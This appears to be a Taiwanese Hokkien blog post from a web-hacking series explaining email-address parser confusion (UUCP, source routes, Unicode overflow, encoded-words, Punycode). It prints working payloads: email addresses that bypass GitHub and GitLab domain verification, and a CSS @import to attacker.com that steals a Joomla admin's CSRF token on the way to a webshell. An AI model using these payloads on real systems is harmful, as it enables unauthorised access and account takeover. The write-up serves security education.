iT邦幫忙

2025 iThome 鐵人賽

DAY 10
0
Security

規組駭了了::你無定落勾去的鑠奅 Web Hacking 步數系列 第 10

0x0A / Email・欸,E-mail address 恁敢真正攏看有?

  • 分享至 

  • xImage
  •  

https://ithelp.ithome.com.tw/upload/images/20250918/201201872G9nVwoTHW.png

講著 email,咱攏想講欲揣 <...>@example.com 的 server 就是看 @ 後壁遐,像頭前這自然是欲寄去 example.com 這台機器的批,天公地道,敢毋是? 毋過準若我共你講,這个觀念其實無的確是毋著的,甚至會當成做一个足大空的安全漏縫,恁敢信?

咱先來看一寡趣味的例:

  1. 咱會當用 quote(")來共去頭前的 local part 包起來 escape
    "@\""@example.com
    
  2. 咱會當佇 email 內底用 () 囥註解
    (foo)user@(bar)example.com
    

恁佇我講進前,敢攏知影頂懸彼攏是合法的?

今仔日,咱就欲來共這篇 Splitting the email atom 說予恁聽,這篇研究發現 email parser 佇咧處理 email address 的時陣,會因為彼古魯碩古的 RFC 規格傷過複雜,致使講無仝的系統(譬論講網站的後端、MTA mail server)對仝一个 email address 可能會有無仝的「解說」。佇這中央咧解讀的精差,就是予駭客會當想空想縫,利用來做歹代的所在——輕者是夆踅過權限控制,重者甚至會夆得著 RCE!

Email 網域是按怎會共人騙

作者伊拄開始咧做研究的時,閣猶未開始反 code,就去拄著一个足趣味的發現。佇某乜一个系統允准 email address 去用一寡特殊符號,伊靈感一下來,隨共規捾全部的特殊符號濫入去 email 內底,結果煞發現 mail server 的 log 噴一个主機名無效的錯誤出來。伊沓沓仔共符號一个一个刣掉,才知影是「!」咧作怪。

原來,佇 email 猶未出世進前,有一个號做 UUCP (Unix To Unix Copy) 的古早通訊協定,伊就是用驚嘆號來共主機佮使用者分開,而且順序閣拄仔好顛倒反。所以,像這款 email:

oastify.com!collab\@example.com

對 Sendmail 來講,伊會共 email 送起去 oastify.com,毋是咱目睭看著的 example.com\ 符號是為著欲共 @ 跳脫掉,予 parser 會當繼續讀落去。

拄仔好閣有一个情形,另外一款 mail server - Postfix 嘛有相𫝛的問題,毋過伊用的字元是 %

collab%psres.net(@example.com

頂懸這逝實際上會走去 psres.net,毋是咱想的 example.com。這是用著一个號做 source routes 的規則。

Postfix 會先去處理 collab%psres.net,先去共 % 換做 @,閣共 email 送去 psres.net。後壁彼段 (@example.com 就因為有括號,對 parser 來講是「註解」,煞直接共當做無看著。

恁看,才拄開始爾,咱誠四常的觀念就已經攏總予人捙跋反去矣!

對無仝的編碼舞出花樣

好齣拄欲開始搬爾爾。除了頂面彼兩招,閣有兩个技術會當生出這款 parser 混亂。

0x01 Unicode overflow

有寡系統會共特殊字元閘掉,譬論講你袂當佇 email address 內底用兩个 @。若按呢,Unicode overflow 凡勢就是你的好家私矣。簡單講,足濟程式語言佇咧共 Unicode 字元轉做 ASCII 的時,若 code point 超過 255,伊會做一个 modulo(提賰數)的運算——譬論講佇 PHP 的 chr() 就有這款特性。

這代表啥物意思咧?咱會當提一个咱看是完全無仝的 Unicode 字元,來產生一个咱想欲挃的 ASCII 字元。

// 0x100 (256) + 0x40 ('@' 的 hex)
// 經過 modulo 256 運算後會等於 0x40
String.fromCodePoint(0x100 + 0x40) // ŀ → @
String.fromCodePoint(0x1000 + 0x40) // ၀ → @
String.fromCodePoint(0x10000 + 0x40) // 𐁀 → @

https://ithelp.ithome.com.tw/upload/images/20250924/201201877f6yKaGgfN.png

這招予咱會當共 @>< 這款關鍵字元過入去系統內底。

0x02 Encoded-word

這會得算是這篇研究上鑠奅的發現。根據 RFC2047,email address 其實會當用一款號做 "encoded-word" 的格式來做編碼。 伊的格式看起來是親像按呢:

=?<charset>?<encoding>?<encoded-text>?=
  • charset:e.g. UTF-8
  • encodingq 代表 Q-Encoding(用 hex 表示),b 代表 Base64。
  • encoded-text:做編碼了後的內容

咱來看下跤一个例:

=?utf-8?q?=41=42=43?=@example.com

這个 email address 佇支援 encoded-word 的 parser(特別是 Ruby on Rails 系統上捷用的 Mail gem)處理了後,會夆變成:ABC@example.com

閣較驚人的是,這个編碼會當共 charset + encoding 鬥做伙兩个濫咧用,啥物意思咧?咱來看一个 UTF7+ base64 的例:

        b      Base64 encoded
        ↓ [----------------------]
=?utf-7?b?JkFHWUFid0J2QUdJQV1RQnkt?=@psres.net

↓
         utf-7 encoded "foobar"
  ↓↓↓↓↓   [-----------------]
=?utf-7?b?&AGYAbwBvAGIAYQBy-?=@psres.net

↓
結果:foobar@psres.net

實在是誠趣味,咱若干焦看原本彼捾實在是看無彼是啥 XD

實際案例:看駭客按怎運用

理論講了遐爾久,這馬咱來看這佇現實會當變出啥物齣頭。

  • GitHub:踅過 email 驗證,滲透內部網路
    GitHub 的系統(用 Ruby 寫的)就食著 encoded-word 這招。攻擊者生一个歹的 email address:
    gareth.heyes@=?x?q?=40example.com=3e=00?=@github.com

    咱來拆一下:

    1. =?x?q?...?= 是 encoded-word 的格式。
    2. =40 會予解碼做 @
    3. =3e 會予解碼做 >
    4. =00 會予解碼做 NULL byte。

    對 GitHub 的 application 來講,伊看著的網域是 @github.com,驗證通過。 但是,email 咧欲寄出去的時,MTA (mail server) 看著的 RCPT TO 指令會變成:
    RCPT TO:<gareth.heyes@example.com>
    後壁的 >@github.com 彼部份煞會因為 NULL byte 的關係,予 mail server 落勾去。

    結果,攻擊者就用 @github.com 的 email,成功驗證一个伊根本無權限的 @example.com 批桶。 若講這間公司用 email 網域來做 Cloudflare Zero Trust 這款內部系統的存取控制,代誌就大條矣。

  • GitLab:手法閣較幼路
    GitLab 嘛有仝款的問題。 攻擊者發現用底線 _ 佇 encoded-word 內底會當代換做空白,伊的 payload 看起來閣較優雅:
    support@=?x?q?=40example.com=3e_?=@gitlab.com
    這个手法會當予攻擊者註冊一个受限制的 GitLab Enterprise instance,只要彼台 server 是用 email 網域來限制註冊資格就會當 bypass。

對踅過到 RCE:Punycode 攻擊 Joomla

若你感覺頂面的例已經足恐怖矣,莫驚,閣有閣較譀的。這馬欲來講按怎用 email address 來做 RCE!

這擺的主角是 Punycode。Punycode 是為著欲予 DNS 系統會當處理像 münchen.com 這款非 ASCII 字元的網域名。 伊攏是用 xn-- 開頭——咱做為漢字使用者,遐的漢字 domain 嘛攏會拄著這款情形,逐家應該是袂感覺生份。

研究者發現,PHP 一个舊版的 IDN library 佇咧處理「無合法的 Punycode」的時陣,會產生一寡意料之外的字元。

  • xn--0049 → 會變做 ,
  • xn--0117 → 會變做 @
  • xn--svg/-9x6 → 會變做 <svg/

無錯,你目睭無花。咱會當用 Punycode 來產生 HTML tag!

Joomla 這个 CMS 就用著這个有問題的 library。 攻擊者就會當利用這个 bug,設計一个兩段式的攻擊:

  1. 注入 Style Tag
    伊先註冊一个 user,email address 用惡意的 Punycode 組成,親像按呢:
    user@xn--style-321
    當 Joomla 佇後台顯示這个 email 的時,伊會因為 Punycode 解碼的 bug,共 xn--style-321 變成一个 <style tag,造成 style Injection。

  2. 用 CSS 偷 CSRF token
    伊閣註冊第二个 user,佇 user 的name 欄位注一段 CSS payload,像 @import 一个外部的 CSS 檔案。
    x{}@import'https://attacker.com/evil.css';
    這段 CSS 會利用 selector 的特性,共管理員瀏覽器內底的 CSRF token 偷出來。

  3. CSRF to RCE
    管理員若共後台的使用者列表頁面一下點開,CSS payload 就會走矣,CSRF token 就會送去予攻擊者。 攻擊者隨就會當用這个 token 生一个合法的請求,去共 Joomla 的 template 改掉,寫一个 PHP webshell 入去,落尾成功 RCE。


一个咱逐工咧用、看起來真簡單的 email address,背後煞藏了遮爾仔濟複雜閣危險的「鋩角」。咱做開發者、做資安人員,定定會因為「慣勢」就共根本的問題落勾去。咱永遠愛會記得,使用者送入來的任何資料攏是袂當相信的,當然——就算是 email address 嘛仝款!


上一篇
0x09 / Files.欲讀啥?欲寫啥?佇 procfs 下跤會當變啥物魍?
下一篇
0x0B / Front-end.予 Self-XSS 閣再偉大.credentialless Iframe
系列文
規組駭了了::你無定落勾去的鑠奅 Web Hacking 步數11
圖片
  熱門推薦
圖片
{{ item.channelVendor }} | {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言